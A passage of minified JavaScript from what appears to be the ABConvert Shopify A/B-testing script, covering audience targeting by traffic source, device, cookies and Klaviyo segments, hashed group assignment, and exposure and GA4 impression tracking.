917function xt(){const e=window.abconvertCustomer;if(null==e)return;const t={loggedIn:e.loggedIn,tags:e.tags,ordersCount:e.ordersCount,totalSpent:e.totalSpent};if(e.loggedIn){const e=bt(t);return e&&function(e){const t=JSON.stringify(e);Ee(Me)!==t&&Pe(Me,t)}(e),t}const n=function(){const e=Ee(Me);if(!e)return null;try{return bt(JSON.parse(e))}catch{return null}}();return n?{...t,...n}:t}const _t={source:{id:"customer",class:"dynamic",read:()=>({customer:xt()}),available:function(){return null!=window.abconvertCustomer}},conditions:[{type:"customer",evaluate:(e,t)=>{const n=t.customer;if(!n)return!1;const r=mt(e.key);return!!r&&r.evaluate(e.operator,n[r.field],e.value)},watchedValue:(e,t)=>{const n=mt(e.key);return n?t.customer?.[n.field]:void 0}}]};function It(){const e=De(ze);if(e)return e;const t=navigator.userAgent,n=/mobile|iphone|android|tablet|ipad/i.test(t)?"mobile":"desktop";return je(ze,n),n}const St={source:{id:"device",class:"static",read:()=>({device:It()})},conditions:[{type:"device",evaluate:(e,t)=>at(e.operator,t.device,e.value)}]};function Tt(e){const t=Date.now(),n=Ee(Ue),r=n?Number(n):t;return n||Pe(Ue,t.toString()),r>(null!=e?new Date(e).valueOf():t)?"new":"returning"}const kt={source:{id:"visitor_type",class:"static",read:e=>({visitorType:Tt(e.experimentStartTime)})},conditions:[{type:"visitor_type",evaluate:(e,t)=>at(e.operator,t.visitorType,e.value)}]},At={source:{id:"traffic",class:"static",read:()=>{const e=function(){const e=De(We),t=De(Ve);if(e&&t)return{platform:e,channel:t};const n=document.referrer.toLowerCase(),r=new URLSearchParams(window.location.search),o=r.get("utm_source")?.toLowerCase(),i=r.get("utm_medium")?.toLowerCase();o&&je(Ze,o),i&&je(Qe,i);const s=r.get("utm_campaign");s&&je(Ye,s);const a=r.get("utm_term");a&&je(Xe,a);const c=r.get("utm_content");c&&je(et,c);const u=r.get("gclid"),l=r.get("gad_source"),d=r.get("fbclid"),f=r.get("ttclid"),p=r.get("msclkid");u&&je(tt,u),d&&je(nt,d),f&&je(rt,f);const m=navigator.userAgent.toLowerCase(),g=m.includes("instagram")?"instagram":m.includes("fbav")||m.includes("fban")?"facebook":m.includes("musical_ly")||m.includes("tiktok")?"tiktok":null,h=/^(cpc|ppc|paid|retargeting|banner|ads?)$/.test(i||""),w=(...e)=>e.some((e=>n.includes(e)));let y="direct",v="direct";return u||l||"google"===o||w("google.")?(y="google",v=u||l||h?"paid_search":"organic_search"):d||"facebook"===o||"fb"===o||w("facebook.com","fb.com")||"facebook"===g?(y="facebook",v=d||h?"paid_social":"organic_social"):"instagram"===o||"ig"===o||w("instagram.com")||"instagram"===g?(y="instagram",v=h?"paid_social":"organic_social"):f||"tiktok"===o||w("tiktok.com")||"tiktok"===g?(y="tiktok",v=f||h?"paid_social":"organic_social"):"twitter"===o||"x"===o||w("twitter.com","x.com","t.co")?(y="twitter",v=h?"paid_social":"organic_social"):"youtube"===o||"yt"===o||w("youtube.com","youtu.be")?(y="youtube",v=h?"paid_social":"organic_social"):p||"bing"===o||w("bing.com")?(y="bing",v=p||h?"paid_search":"organic_search"):w("yahoo.com","duckduckgo.com","baidu.com","yandex.")?(y="other_search",v="organic_search"):["email","e-mail","e_mail"].includes(o||"")||["email","e-mail","e_mail"].includes(i||"")?(y="email",v="email"):["sms","text"].includes(o||"")||["sms","text"].includes(i||"")?(y="sms",v="sms"):"affiliate"===i?(y="affiliate",v="affiliate"):n&&!n.includes(window.location.hostname)?(y="referral",v="referral"):o&&(y=o,v="referral"),je(We,y),je(Ve,v),{platform:y,channel:v}}();return{trafficPlatform:e.platform,trafficChannel:e.channel}}},conditions:[{type:"traffic_source",evaluate:(e,t)=>{const{operator:n,value:r}=e,o=Array.isArray(r)?r:[r],i=t.trafficChannel??"",s=t.trafficPlatform??"";switch(n){case"in":return o.includes(i)||o.includes(s);case"not_in":return!o.includes(i)&&!o.includes(s);case"equals":return i===o[0]||s===o[0];case"not_equals":return i!==o[0]&&s!==o[0];default:return!1}}}]};function Nt(){const e=De(He);if(null!==e)return e;let t="";if(document.referrer)try{const e=new URL(document.referrer).hostname,o=window.location.hostname;(n=e)===(r=o)||n.endsWith("."+r)||r.endsWith("."+n)||(t=e)}catch{}var n,r;return je(He,t),t}const $t={source:{id:"referral_domain",class:"static",read:()=>({referralDomain:Nt()})},conditions:[{type:"referral_domain",evaluate:(e,t)=>
917at(e.operator,t.referralDomain,e.value)}]};function Ot(){let e=De(Ke);return e||(e=window.location.pathname,je(Ke,e)),e}const Ct={source:{id:"landing_page",class:"static",read:()=>({landingPage:Ot()})},conditions:[{type:"landing_page",evaluate:(e,t)=>at(e.operator,t.landingPage,e.value)}]};function Et(){const e={};new URLSearchParams(window.location.search).forEach(((t,n)=>{e[n]=t}));const t={[Ze]:"utm_source",[Qe]:"utm_medium",[Ye]:"utm_campaign",[Xe]:"utm_term",[et]:"utm_content",[tt]:"gclid",[nt]:"fbclid",[rt]:"ttclid"};for(const n of Object.keys(t)){const r=De(n),o=t[n];r&&!e[o]&&(e[o]=r)}return e}const Pt={source:{id:"query_param",class:"static",read:()=>({queryParams:Et()})},conditions:[{type:"query_param",evaluate:(e,t)=>at(e.operator,e.key?t.queryParams[e.key]:null,e.value)}]};function Rt(){const e={};return document.cookie.split(";").forEach((t=>{const[n,r]=t.trim().split("=");n&&(e[n]=r||"")})),e}const Dt={source:{id:"cookie",class:"static",read:()=>({cookies:Rt()})},conditions:[{type:"cookie",evaluate:(e,t)=>at(e.operator,e.key?t.cookies[e.key]:null,e.value)}]},jt={conditions:[{type:"js",evaluate:e=>function(e){if("string"!=typeof e||!e.trim())return!1;if(e.length>500)return console.warn("[ABConvert] JS expression too long, max length:",500),!1;try{const t=new Function(function(e){return`'use strict';\ntry {\n    return !!(${e});\n} catch (e) {\n    return false;\n}`}(e));return t()}catch(e){return console.warn("[ABConvert] JS expression evaluation failed:",e?.message||e),!1}}(Array.isArray(e.value)?e.value[0]:e.value)}]},Lt="klaviyo_segment";let Jt=[],Ut=null;function Mt(){const e=function(){for(const e of document.cookie.split(";")){const[t,...n]=e.trim().split("=");if("__kla_id"===t)return n.join("=")}return null}();if(e){const t=function(e){let t=e;try{t=decodeURIComponent(e)}catch{}try{const e=JSON.parse(atob(t)),n=e?.$exchange_id??e?.exchange_id;return"string"==typeof n&&n.length>0?n:null}catch{return null}}(e);if(t)return t}try{const e=new URLSearchParams(window.location.search).get("_kx");return e&&e.length>0?e:null}catch{return null}}function Bt(e){let t=2166136261;for(let n=0;n<e.length;n++)t^=e.charCodeAt(n),t=Math.imul(t,16777619)>>>0;return t.toString(16)}function Gt(e){const t=function(){const e=Ee(Ge);if(!e)return null;try{const t=JSON.parse(e);return"string"==typeof t?.kxHash&&"number"==typeof t?.fetchedAt&&t.membership&&"object"==typeof t.membership?t:null}catch{return null}}();return t?t.kxHash!==Bt(e)||Date.now()-t.fetchedAt>36e5?null:t:null}function Ft(e){return e?Jt.filter((t=>!(t in e.membership))):Jt.slice()}async function qt(){const e=Mt();if(!e)return;const t=Gt(e),n=Ft(t);return 0!==n.length?Ut||(Ut=(async()=>{const r=await async function(e,t){const n=window.Shopify?.shop;if(!n)return null;const r="function"==typeof AbortController?new AbortController:null,o=r?setTimeout((()=>r.abort()),1500):null;try{const o=await fetch(`${R}/api/public/klaviyo/segment-membership`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({shop:n,kx:e,segmentIds:t}),signal:r?.signal});if(!o.ok)return null;const i=await o.json();return"ok"===i?.status&&i.membership&&"object"==typeof i.membership?i.membership:null}catch(e){return console.warn("[ABConvert] Klaviyo segment lookup failed:",e instanceof Error?e.message:e),null}finally{null!==o&&clearTimeout(o)}}(e,n);if(!r)return;
917const o={kxHash:Bt(e),fetchedAt:Date.now(),membership:{...t?.membership??{},...r}};Pe(Ge,JSON.stringify(o))})().finally((()=>{Ut=null})),Ut):void 0}function zt(e,t){for(const n of e??[]){if(n?.type!==Lt)continue;const e=Array.isArray(n.value)?n.value:[n.value];for(const n of e)"string"==typeof n&&n.length>0&&t.add(n)}}function Wt(){const e=Mt();return e?Gt(e)?.membership:{}}function Vt(e,t){return"string"==typeof t&&!0===e?.[t]}const Ht={source:{id:"klaviyo",class:"dynamic",read:()=>({klaviyoSegments:Wt()}),available:()=>{const e=Mt();return!e||0===Ft(Gt(e)).length&&null!==Gt(e)},refresh:qt},conditions:[{type:Lt,evaluate:function(e,t){const n=t.klaviyoSegments;if(!n)return!1;const r=Array.isArray(e.value)?e.value:[e.value];switch(e.operator){case"equals":return Vt(n,r[0]);case"not_equals":return!Vt(n,r[0]);case"in":return r.some((e=>Vt(n,e)));case"not_in":return!r.some((e=>Vt(n,e)));default:return!1}}}]},Kt={source:{id:"ua_enrichment",class:"static",read:()=>({browser:ae(navigator.userAgent),os:ce(navigator.userAgent),locale:navigator.language||void 0,timezone:Intl.DateTimeFormat().resolvedOptions().timeZone||void 0})}},Zt=["equals","not_equals","starts_with","in","not_in"],Qt=["contains","not_contains","regex"];function Yt(e,t){const n=function(e,t){return-1!==Zt.indexOf(e)?t.pathname:-1!==Qt.indexOf(e)?t.href:null}(e.operator,t);return null!==n&&at(e.operator,n,e.value)}function Xt(e,t=window.location){if(!e)return!0;if((e.excludeRules??[]).some((e=>Yt(e,t))))return!1;const n=e.includeRules??[];return 0===n.length||n.some((e=>Yt(e,t)))}function en(e){return Se(e).has("country")}ve({source:{id:"country",class:"static",read:()=>({country:ct()}),available:()=>""!==ct(),refresh:dt},conditions:[{type:"country",evaluate:(e,t)=>at(e.operator,t.country,e.value)}]}),ve(ft),ve(_t),ve(St),ve(kt),ve(At),ve($t),ve(Ct),ve(Pt),ve(Dt),ve(Kt),ve(jt),ve(Ht);const tn="abconvert.visitor.id",nn="abconvert.experiment",rn="abconvert.namespace",on="traffic",sn="group",an="context",cn="__abconvertAssignmentSent",un=`${qe}.ga4.impression.queue`,ln="__abconvert_ga4FlushPromise",dn=window;function fn(){const e=dn[ln];return e instanceof Promise?e:null}function pn(e){dn[ln]=e}ln in dn||(dn[ln]=null);let mn=!1;function gn(e){return`${e.experimentId}::${e.groupIndex}`}function hn(e,t,n={}){ne(new Error(`[ABConvert][GA4] ${e}`),{script:"group-assignment",step:"ga4-impression-tracking",data:{issue:e,experimentId:t.experimentId,groupIndex:t.groupIndex,assignmentReason:t.assignmentReason,attempts:t.attempts,eventAgeMs:Date.now()-t.createdAt,shopifyDomain:window.Shopify?.shop||"",...n}})}function wn(){const e=De(un);if(!e)return[];try{const t=JSON.parse(e);return Array.isArray(t)?t.filter((e=>"string"==typeof e?.experimentId&&Number.isInteger(e?.groupIndex)&&"string"==typeof e?.assignmentReason&&Number.isFinite(e?.createdAt)&&Number.isInteger(e?.attempts))):[]}catch{return[]}}function yn(){return wn().length>0}function vn(e){0!==e.length?je(un,JSON.stringify(e)):Le(un)}function bn(e){return"url_force_assign"===e}function xn(e){if(null===e||""===e)return null;const t=Number(e);return function(e){return Number.isInteger(e)&&e>=0}(t)?t:null}function _n(e){return xn(De(`${it}${e}`))}function In(e,t){try{for(const n of function(e,t){const n=[];return null!=t&&""!==t&&n.push(String(t)),e&&!n.includes(e)&&n.push(e),n}(e,t)){const e=_n(n);if(null!==e)return{groupIndex:e,reason:"url_force_assign"}}const n=xn(De(ot));return null!==n?{groupIndex:n,reason:"url_force_assign"}:null}catch{return null}}function Sn(e,t){return null!==In(e,t)}function Tn(){let e=Ee(tn);return e||(e=`abc_${"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(e){const t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)}))}`,Pe(tn,e)),e}function kn(e){const t=function(e,t=0){const n=e.length%4,r=e.length-n;let o=t>>>0;const i=3432918353,s=461845907;let a,c=0;for(;c<r;)a=255&e.charCodeAt(c)|(255&e.charCodeAt(c+1))<<8|(255&e.charCodeAt(c+2))<<16|(255&e.charCodeAt(c+3))<<24,c+=4,a=Math.imul(a,i),a=a<<15|a>>>17,a=Math.imul(a,s),o^=a,o=o<<13|o>>>19,o=Math.imul(o,5)+3864292196;switch(a=0,n){case 3:a^=(255&e.charCodeAt(c+2))<<16;case 2:a^=(255&e.charCodeAt(c+1))<<8;case 1:a^=255&e.charCodeAt(c),a=Math.imul(a,i),a=a<<15|a>>>
91717,a=Math.imul(a,s),o^=a}return o^=e.length,o^=o>>>16,o=Math.imul(o,2246822507),o^=o>>>13,o=Math.imul(o,3266489909),o^=o>>>16,o>>>0}(e);return t%100}function An(e,t){Pe(`${nn}.${e}.${on}`,t.toString())}function Nn(e){const t=Ee(`${nn}.${e}.${sn}`);if(null===t)return null;try{const e=JSON.parse(t);if("object"==typeof e&&null!==e&&"number"==typeof e.groupIndex)return{groupIndex:e.groupIndex,reason:e.reason,assignedAt:"string"==typeof e.assignedAt?e.assignedAt:void 0,sends:"number"==typeof e.sends?e.sends:void 0,attempts:"number"==typeof e.attempts?e.attempts:void 0,assignmentVersion:"number"==typeof e.assignmentVersion?e.assignmentVersion:void 0}}catch{}return null}function $n(e,t,n,r){const o=`${nn}.${e}.${sn}`,i=Nn(e),s={groupIndex:t,reason:n,assignedAt:i?.assignedAt??(new Date).toISOString()};return void 0!==i?.attempts&&(s.attempts=i.attempts),void 0!==i?.sends&&i.groupIndex===t&&(s.sends=i.sends),void 0!==r&&(s.assignmentVersion=r),Pe(o,JSON.stringify(s)),s}function On(e){const t=Ee(`${nn}.${e}.${an}`);if(!t)return null;try{return JSON.parse(t)}catch{return null}}function Cn(e,t){Pe(`${nn}.${e}.${an}`,JSON.stringify(t))}function En(e){const t=e?.queryParams??{};return{country:e?.country||void 0,market:e?.market||void 0,device:e?.device||void 0,visitorType:e?.visitorType||void 0,trafficPlatform:e?.trafficPlatform||void 0,trafficChannel:e?.trafficChannel||void 0,referralDomain:e?.referralDomain||void 0,landingPage:e?.landingPage||void 0,utmSource:t.utm_source||void 0,utmMedium:t.utm_medium||void 0,utmCampaign:t.utm_campaign||void 0,utmTerm:t.utm_term||void 0,utmContent:t.utm_content||void 0,gclid:t.gclid||void 0,fbclid:t.fbclid||void 0,ttclid:t.ttclid||void 0}}function Pn(e,t,n,r){"preview_override"!==t.reason&&((t.sends??0)>=5||(t.attempts??0)>=10||-1===t.groupIndex&&Te(n)||function(e){try{const t=window;let n=t[cn];return n||(n=new Set,t[cn]=n),!n.has(e)&&(n.add(e),!0)}catch{return!0}}(e)&&function(e,t,n,r,o,i){const s=Tn(),a=window.Shopify?.shop||"",c=C();try{const u=new URL(`${R}/api/track/assignment`);a&&u.searchParams.set("shop",a);const l=JSON.stringify({sessionId:c,visitorId:s,experimentId:e,testGroup:t,assignmentReason:n,assignmentVersion:i,createdAt:o??(new Date).toISOString(),...En(r),browser:r.browser??ae(navigator.userAgent),os:r.os??ce(navigator.userAgent),locale:r.locale??navigator.language??void 0,timezone:r.timezone??Intl.DateTimeFormat().resolvedOptions().timeZone??void 0});return oe(u.toString(),l,{script:"group-assignment",data:{experimentId:e,shopifyDomain:a},onRejected:()=>function(e){const t=Nn(e);t?.sends&&Pe(`${nn}.${e}.${sn}`,JSON.stringify({...t,sends:t.sends-1}))}(e)})}catch(t){return console.warn("[ABConvert] unified assignment tracking threw synchronously:",t?.message||t),ne(t instanceof Error?t:new Error(String(t)),{script:"group-assignment",step:"sync",data:{experimentId:e,shopifyDomain:a}}),!1}}(e,t.groupIndex,t.reason,r(),t.assignedAt,t.assignmentVersion)&&function(e,t){const n=`${nn}.${e}.${sn}`,r={...t,sends:(t.sends??0)+1,attempts:(t.attempts??0)+1};Pe(n,JSON.stringify(r))}(e,t))}function Rn(e){const t=Number.isInteger(e?.experimentId)&&e.experimentId>=0?e.experimentId:null,n="string"==typeof e?.experimentName?e.experimentName.trim():"",r=Number.isInteger(e?.groupIndex)&&e.groupIndex>=0?e.groupIndex:null,o="string"==typeof e?.variantName?e.variantName.trim():"",i="string"==typeof e?.ga4MeasurementId?e.ga4MeasurementId.trim():"";return e?.found&&null!==t&&n&&null!==r&&o&&i?{experimentId:t,experimentName:n,groupIndex:r,variantName:o,ga4MeasurementId:i}:null}function Dn(e,t){"function"==typeof window.gtag&&window.gtag("event","abconvert_experience_impression",{abconvert_experiment_id:t.experimentId,abconvert_experiment_name:t.experimentName,abconvert_group_index:t.groupIndex,abconvert_variant_name:t.variantName,abconvert_exp_variant_string:`${t.experimentId}-${t.groupIndex}`,abconvert_assignment_reason:e.assignmentReason,transport_type:"beacon",event_timeout:1e3,send_to:t.ga4MeasurementId})}function jn(e){return!(e.attempts>=3)&&Date.now()-e.createdAt<864e5}!function(){try{const e=new URLSearchParams(window.location.search),t=e.get("preview"),n=e.get("abconvert_force");if(null!==n&&n.includes(":")){const[e,t]=n.split(":"),r=Number(t);return void(e&&!isNaN(r)&&je(`${it}${e}`,r.toString()))}null===n||isNaN(Number(n))?null===t||isNaN(Number(t))||je(ot,t):(je(ot,n),je("abconvert-preview-number",n))}catch{}}();let Ln=!1;function Jn(){Ln||(Ln=!0,setTimeout((()=>{Ln=!1,Un()}),0))}async function Un(){const e=fn();if(e){const t=e.then((()=>
917{if(fn()===t&&pn(null),yn())return Un()}));return pn(t),t}const t=(async()=>{const e=wn();if(0===e.length)return;const t=[];let n=!1;const r=[];for(const t of e)jn(t)?r.push(t):hn("ga4_impression_dropped_before_send",t,{reason:"retry_exhausted_or_expired"});if(r.length>0)if("function"!=typeof window.gtag)n=!0,t.push(...r);else{const e=await async function(e){if(0===e.length)return new Map;try{const t=await fetch(`${R}/api/ga4/metadata`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({items:e.map((e=>({clientKey:gn(e),experimentId:e.experimentId,groupIndex:e.groupIndex})))}),keepalive:!0});if(!t?.ok)return hn("ga4_metadata_batch_fetch_non_2xx",e[0],{statusCode:t?.status,batchSize:e.length}),null;const n=await t.json(),r=Array.isArray(n?.results)?n.results:null;if(!r)return hn("ga4_metadata_batch_invalid_response",e[0],{batchSize:e.length}),null;const o=new Map;for(const e of r){const t="string"==typeof e?.clientKey?e.clientKey:"";t&&o.set(t,e)}return o}catch(t){const n=t instanceof Error?t.message:String(t),r=t instanceof Error?t.name:"",o="TypeError"===r&&(n.includes("Failed to fetch")||n.includes("NetworkError")||n.includes("Load failed")||n.includes("network connection was lost")||n.includes("abort"));return"AbortError"===r||o?(console.warn("[ABConvert] GA4 metadata batch fetch failed (network issue):",n),null):(hn("ga4_metadata_batch_exception",e[0],{errorMessage:n,batchSize:e.length}),null)}}(r);for(const n of r){const r=e?.get(gn(n));if(o=r,!1===o?.found&&("ga4_not_configured"===o.reason||"ga4_ineligible"===o.reason))continue;const i=Rn(r);if(Boolean(i)&&i){Dn(n,i);continue}const s={...n,attempts:n.attempts+1};jn(s)?t.push(s):hn("ga4_impression_retry_exhausted",s,{reason:"max_attempts_or_expired_after_not_sent"})}}var o;const i=function(e,t){const n=new Set(e.map((e=>gn(e)))),r=[...t],o=new Set(r.map((e=>gn(e))));for(const e of wn()){const t=gn(e);n.has(t)||o.has(t)||(r.push(e),o.add(t))}return r.length>50&&r.splice(0,r.length-50),r}(e,t);vn(i),n&&i.length>0&&(mn||(mn=!0,setTimeout((()=>{mn=!1,Un()}),1500)))})().finally((()=>{fn()===t&&pn(null)}));return pn(t),t}function Mn(e){return function(e={}){const t={};for(const n of _e())Object.assign(t,n.read(e));return t}({experimentStartTime:e})}function Bn(e){const t=function(e){const{experimentId:t,numericId:n,trafficAllocationPercent:r,audienceTargeting:o,forceAssignRules:i,percentages:s,experimentStartTime:a,isPersonalization:c,assignmentVersion:u,pageTargeting:l}=e,d={audienceTargeting:o,forceAssignRules:i};fe(pe());const f=In(t,n);if(f)return{inTest:!0,groupIndex:f.groupIndex<s.length?f.groupIndex:0,reason:f.reason};const p=function(e){const t=De(`${nn}.${e}.${sn}`);if(null===t)return null;const n=parseInt(t,10);return isNaN(n)?null:n}(t);if(null!==p)return{inTest:!0,groupIndex:p<s.length?p:0,reason:"preview_override"};const m=Nn(t);if(null===m&&!Xt(l))return{inTest:!1,groupIndex:-1,reason:"page_not_activated"};const g=null!==m&&c&&void 0!==u&&m.assignmentVersion!==u;if(null===m||g){const e=ke(d);if(e)return{inTest:!1,groupIndex:-1,reason:`${e.id}_unresolved`}}const h=Tn();if(!function(e,t){const n=window.abconvertNamespaceGroups;if(!n)return!0;let r=null,o=null;for(const[e,i]of Object.entries(n))if(i.memberExperimentIds.includes(t)){r=e,o=i;break}if(!r||!o)return!0;const i=function(e){const t=Ee(`${rn}.${e}`);if(!t)return null;try{return JSON.parse(t)}catch{return null}}(r);if(i){if(o.excludedExperimentIds?.includes(i.experimentId))return!1;if(o.inactiveExperimentIds?.includes(i.experimentId))return!1;if(o.memberExperimentIds.includes(i.experimentId))return i.experimentId===t;Re(`${rn}.${r}`)}const s=o.ranges[t];if(!s)return!1;const[a,c]=s,u=kn(`${e}:namespace:${r}`)/100,l=u>=a&&u<c;return l&&(d={experimentId:t},Pe(`${rn}.${r}`,JSON.stringify(d))),l;var d}(h,t))return{inTest:!1,groupIndex:-1,reason:"namespace_excluded"};if(!function(e,t,n){const r=function(e){const t=Ee(`${nn}.${e}.${on}`);return null===t?null:"true"===t}(t);if(null!==r)return r;if(n>=100)return An(t,!0),!0;const o=kn(`${e}:${t}:traffic`)<n;return An(t,o),o}(h,t,r))return{inTest:!1,groupIndex:-1,reason:"traffic_allocation_excluded"};let w=m;null!==w&&c&&void 0!==u&&w.assignmentVersion!==u&&(function(e){Re(`${nn}.${e}.${on}`),Re(`${nn}.${e}.${sn}`),Re(`${nn}.${e}.${an}`),Le(`${nn}.${e}.${sn}`)}(t),w=null);let y=null,v=null;if(null!==w&&ye>0&&Te(d)){v=On(t);let e=null;const n=()=>e??(e=Ne(v,{experimentStartTime:a})),r=function(e,t,n,r,o={}){return function(e,t,n={}){if(!t)return!1;for(const r of Ie(e)){if(!r.type)continue;const e=xe(r.type);if(!e||"dynamic"!==e.class)continue;if(e.available&&!e.available())continue;const o=e.read(n),i=be(r.type)?.watchedValue;if(i){if(Ae(i(r,o))!==Ae(i(r,t)))return!0}else for(const e of Object.keys(o))if(Ae(o[e])!==Ae(t[e]))return!0}return!1}(e,n,o)?ke(e)?"keep":-1===t?"redecide":function(e,t){const n=t();return!!Oe(e.audienceTargeting,n)&&"exclude"!==Ce(e.forceAssignRules,n)?.action}(e,r)?"refresh":"suppress":"keep"}(d,w.groupIndex,v,n,{experimentStartTime:a});if("refresh"===r)v=n(),Cn(t,v);else if("redecide"===r)y=v,w=null;else if("suppress"===r)return function(e){if(!e)return;const t=pe(),n=t.size;t.add(String(e)),t.size!==n&&fe(t)}(t),{inTest:!1,groupIndex:-1,reason:"eligibility_withdrawn"}}if(null!==w){const e=()=>v??On(t)??Mn(a);if(-1===w.groupIndex)return Pn(t,w,d,e),{inTest:!1,groupIndex:-1,reason:w.reason};if(w.groupIndex<s.length)return Pn(t,w,d,e),yn()&&Jn(),{inTest:!0,groupIndex:w.groupIndex,reason:w.reason}}const b=Mn(a);let x,_;if(Oe(o,b)){const e=Ce(i,b);if("exclude"===e?.action)_=$n(t,-1,"force_assign_excluded",u),x={inTest:!1,groupIndex:-1,reason:"force_assign_excluded"};else if("assign_group"===e?.action)_=$n(t,e.groupIndex,"force_assign_group",u),x={inTest:!0,groupIndex:e.groupIndex,reason:"force_assign_group"};else{const e=function(e,t,n){const r=kn(`${e}:${t}:group`);let o=0;for(let e=0;e<n.length;e++)if(o+=n[e],r<o)return e;return n.length-1}(h,t,s);_=$n(t,e,"random_split",u),x={inTest:!0,groupIndex:e,reason:"random_split"}}}else _=$n(t,-1,"audience_targeting_excluded",u),x={inTest:!1,groupIndex:-1,reason:"audience_targeting_excluded"};const I=y?Ne(y,{experimentStartTime:a}):b;return Cn(t,I),function(e,t,n,r){const o=Tn(),i=window.Shopify?.shop||"",{customer:s,...a}=r;try{fetch(`${R}/api/analytics/v2/visitor/assignment`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({visitorId:o,experimentId:e,groupIndex:t,assignmentReason:n,visitorContext:a,myShopifyDomain:i}),keepalive:!0}
917).catch((e=>{console.warn("[ABConvert] legacy assignment tracking failed:",e?.message||e)}))}catch(e){console.warn("[ABConvert] legacy assignment tracking threw synchronously:",e?.message||e)}}(t,x.groupIndex,x.reason,I),Pn(t,_,d,(()=>I)),x.groupIndex>=0&&"preview_override"!==x.reason&&!bn(x.reason)&&function(e,t,n){const r=wn(),o=gn({experimentId:e,groupIndex:t});r.some((e=>gn(e)===o))||(r.push({experimentId:e,groupIndex:t,assignmentReason:n,createdAt:Date.now(),attempts:0}),r.length>50&&r.splice(0,r.length-50),vn(r),Jn())}(t,x.groupIndex,x.reason),x}(e),n=function(){if("undefined"==typeof window)return{};const e=window;return e[d]||(e[d]={}),e[d]}();return t.inTest?n[String(e.experimentId)]=t.groupIndex:delete n[String(e.experimentId)],t}const Gn="__abconvertExposedTests";const Fn="abconvert:exposed:",qn="__abconvertExposureResendDone";function zn(e){try{const t=sessionStorage.getItem(Fn+e);if(null===t)return null;const n=JSON.parse(t);if(n&&"string"==typeof n.sessionId&&n.sessionId.length>0&&"number"==typeof n.groupIndex&&Number.isFinite(n.groupIndex)){const e={sessionId:n.sessionId,groupIndex:n.groupIndex};return"number"==typeof n.numericId&&Number.isFinite(n.numericId)&&(e.numericId=n.numericId),e}return null}catch{return null}}function Wn(e,t,n){const r=window.Shopify?.shop||"",o=Tn();try{const i=window.abconvertApiEndpoint||R,s=new URL(`${i}/api/track/event`);r&&s.searchParams.set("shop",r);const a=function(e){const t=Nn(e);if(null===t)return null;const n=On(e);return{experimentId:e,testGroup:t.groupIndex,assignmentReason:t.reason||void 0,createdAt:t.assignedAt,...En(n),browser:n?.browser||void 0,os:n?.os||void 0,locale:n?.locale||void 0,timezone:n?.timezone||void 0}}(e),c=JSON.stringify({sessionId:n,visitorId:o,eventType:"abconvert:exposure",source:"script",experimentIds:[e],assignmentSnapshots:a?[a]:[],pagePath:window.location.pathname,createdAt:(new Date).toISOString(),payload:{groupIndex:t}});oe(s.toString(),c,{script:"exposure",data:{experimentId:e}})}catch(t){console.warn("[ABConvert] exposure tracking threw synchronously:",t),ne(t instanceof Error?t:new Error(String(t)),{script:"exposure",step:"sync",data:{experimentId:e}})}}function Vn(e,t,n){if(Sn(e,n))return;if(me(e))return;!function(e,t){const n="number"==typeof t&&Number.isInteger(t)&&t>=0,r="string"==typeof t&&/^\d+$/.test(t);(n||r)&&function(e,t){try{let n=function(){const e=window[Gn];return e instanceof Set?e:null}();n||(n=new Set,window[Gn]=n),n.add(e);const r={experimentId:e,groupIndex:t};window.dispatchEvent(new CustomEvent("abconvert:exposure-recorded",{detail:r}))}catch{}}(String(t),e)}(t,n);const r=C(),o=zn(e);if(o&&o.sessionId===r)return;const i={sessionId:r,groupIndex:t};"number"==typeof n&&Number.isFinite(n)&&(i.numericId=n),function(e,t){try{sessionStorage.setItem(Fn+e,JSON.stringify(t))}catch{}}(e,i),Wn(e,t,r)}const Hn='form[action*="/cart/add"]',Kn="data-abconvert-property";let Zn=null,Qn=!1,Yn=!1;function Xn(){Yn=!1;for(const e of Array.from(document.querySelectorAll(Hn)))for(const t of Array.from(e.querySelectorAll(`input[${Kn}]`)))t.remove()}function er(e){const t=e.target;return t?.closest?t.closest("shopify-accelerated-checkout, .shopify-payment-button"):null}function tr(e){const t=er(e);if(!t)return;const n=t.closest(Hn);if(!n)return;const r=Zn?.();r&&(function(e,t){const n=function(e){const t={};for(const n of Array.from(e.querySelectorAll(`input[${Kn}]`))){const e=n.getAttribute(Kn);e&&(t[e]?n.remove():t[e]=n)}return t}(e);for(const r of Object.keys(t)){const o=n[r];if(o){o.value!==t[r]&&(o.value=t[r]);continue}const i=document.createElement("input");i.type="hidden",i.name=`properties[${r}]`,i.setAttribute(Kn,r),i.value=t[r],e.prepend(i)}}(n,r),Yn=!0)}function nr(e){Yn&&(er(e)||Xn())}function rr(){Yn&&Xn()}const or="abconvert:pending-tracking-cart-write",ir="__abconvert_cartWriteQueue",sr="__abconvert_cartWriteBatch",ar="__abconvert_cartWriteFlush",cr="__abconvert_trackingCartWriteFlush",ur="__abconvert_trackingCartWriteTimer",lr="__abconvert_trackingCartWriteListeners",dr="__abconvert_trackingCartWriteTerminal",fr="__abconvert_trackingCartWriteRerun",pr=window;function mr(){return window?.Shopify?.routes?.root??"/"}function gr(e){return new Promise(((t,n)=>{pr[sr].push({entry:e,resolve:t,reject:n}),pr[ar]||(pr[ar]=!0,setTimeout((()=>{const e=pr[sr];pr[sr]=[],pr[ar]=!1;const t=pr[ir].then((()=>async function(e){const t={};for(const{entry:n}of e)"direct"===n.type?t[n.key]=n.value:Object.assign(t,n.resolver());if(0===Object.keys(t).length)return;const n=mr(),r=await fetch(`${n}cart.js`),o=await r.json(),i={};for(const[e,n]of Object.entries(t)){const t=o.attributes?.[e];t!==n&&(""===n&&null==t||(i[e]=n))}if(0===Object.keys(i).length)return;let s=0;for(;s<10;){const e=await fetch(`${n}cart/update.js`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({attributes:i})}),t=await e.json();let r=!0;for(const[e,n]of Object.entries(i)){const o=t.attributes?.[e];if(o!==n&&(""!==n||null!=o)){r=!1;break}}if(r)return;s++}}(e)));pr[ir]=t.catch((()=>{})),t.then((()=>e.forEach((e=>e.resolve())))).catch((t=>e.forEach((e=>e.reject(t)))))}),0))}))}function hr(e,t){return gr({type:"direct",key:e,value:t})}function wr(){const e=[];let t,n=!1;try{t=localStorage.length}catch{return Nr("local_assignment_scan"),null}for(let r=0;r<t;r++){let 